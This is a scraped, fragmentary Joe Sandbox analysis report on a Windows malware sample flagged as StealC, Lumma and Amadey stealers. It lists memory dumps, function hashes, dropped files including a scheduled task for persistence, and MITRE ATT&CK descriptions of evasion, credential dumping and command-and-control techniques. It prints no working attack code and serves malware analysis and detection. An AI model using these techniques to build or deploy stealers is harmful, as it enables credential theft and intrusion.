Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: f5530a69dab17ef92fac6b6929f31fdd68290eace9acb73ed14f7109ece3cf9f
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: FAB11232A0064D9FDB15CF28C9817BEBBE5EF45344F3491AADA45FB281D6358D02CB60

Function 00EDBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EDBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EDBBE4
_xtime_get.LIBCPMT ref: 00EDBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EDBC13

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 9865a95edb9a0c6b182fc173b3197976e11b322fd04150051f55cd4b2fab469a
Instruction ID: 3bb4dc9094f4af0c1ee2d3f40bc1e5a0e46e1a28f21fd4570aaa32a83811b47c
Opcode Fuzzy Hash: 9865a95edb9a0c6b182fc173b3197976e11b322fd04150051f55cd4b2fab469a
Instruction Fuzzy Hash: A1210A71A0011AAFDF00EFA4D981AFEB7B9EF48754F615026F901B7361DB709D429BA0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report o0cabS0OQn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe

C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Windows\Tasks\skotes.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
o0cabS0OQn.exe

Function 0076735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Function 0079652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Function 00769BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Function 00769F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Function 0076A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Function 0076A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Function 0076A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Function 0076A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Function 0076A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Function 00769ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre